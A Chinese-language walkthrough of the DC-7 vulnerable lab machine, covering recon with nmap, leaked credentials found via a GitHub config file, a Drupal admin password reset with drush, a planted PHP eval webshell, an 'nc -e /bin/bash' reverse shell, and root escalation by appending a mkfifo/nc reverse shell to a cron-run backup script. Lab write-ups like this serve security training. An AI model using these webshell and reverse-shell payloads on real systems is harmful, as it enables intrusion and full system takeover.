一、扫描获取靶机ip
arp-scan -l
192.168.203.146
二、获取网站信息
1.nmap
nmap -sV -A 192.168.203.146
开放22、80端口
2.Wappaloyzer
CMS:Drupal 8
Web服务器:Apache 2.4.25
操作系统:Debian
访问网站
提示说不是一个技术问题,无法通过爆破,可以考虑"outside" the box,可以考虑信息收集(社工)
发现一个@用户 @DC7USER
搜索一下发现了一个github用户
进入然后访问config.php
得到用户名,密码
$username = dc7user
$password = MdR3xOgB7#dW
三、连接
使用ssh连接
ssh dc7user@192.168.203.146
与DC-4一样提示有新的邮件
查看邮件
cat /var/mail/dc7user
发现执行文件backups.sh,查看一下
cat /opt/scripts/backups.sh
gpg命令用来加密,drush命令是drupal框架中用来做一些配置的命令,它可以改变用户名密码
因为网站默认会有一个admin用户,所以我们进入到/var/www/html目录下,尝试使用drush命令修改admin用户的密码为233333
发现脚本文件中drush 命令可以修改密码
cd /var/www/html
drush user-password admin --password="233333"
成功登录
发现可以写入一个网页,但是网页类型没有PHP模式,所以需要下载一个PHP代码的插件,手动安装 PHP filter 模块
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
Install后跳转到模块添加成功页面,然后去激活这个模块
编辑DC-7
写入一句话木马,注意将文本格式更改成PHP
<?php@eval($_REQUEST['hack']);?>
3.蚁剑
连接成功
攻击机进行监听
nc -lvvp 3939
使用蚁剑的虚拟终端进行反shell连接
nc -e /bin/bash 192.168.203.141 3939
连接成功
使用python反弹一个交互式shell
python -c 'import pty;pty.spawn("/bin/sh")'
四、提权
当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell
当前用户 www-data 用户具有写权限,我们通过写权限在该文件中添加反弹shell 指令,当root 用户根据其系统计划任务执行backups.sh 脚本时,会反弹root 的shell
攻击机进行监听
cd /opt/scriptsecho "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.203.141 4040 >/tmp/f" >> backups.sh大意:删除f文件,创建命名管道文件f,将cat f的结果作为输入传给命令执行(/bin/sh),将执行命令的结果重定向给 将nc 192.168.203.141 4040写入/tmp/f这一行为2>&1:将标准错误输出重定向到标准输出理解:这个系统每15分钟执行一次backups.sh脚本,将一条命令写入backups.sh等待下一次执行,写入的内容是删除原有的/tmp/f文件,然后创建一个名为f的命名管道文件,这个文件会执行一次命令执行,执行的内容是反shell连接(nc 192.168.203.141 4040)
需要等待一段时间(大约15分钟),因为这个脚本大约每15分钟执行一次
提权成功,在/root下读取flag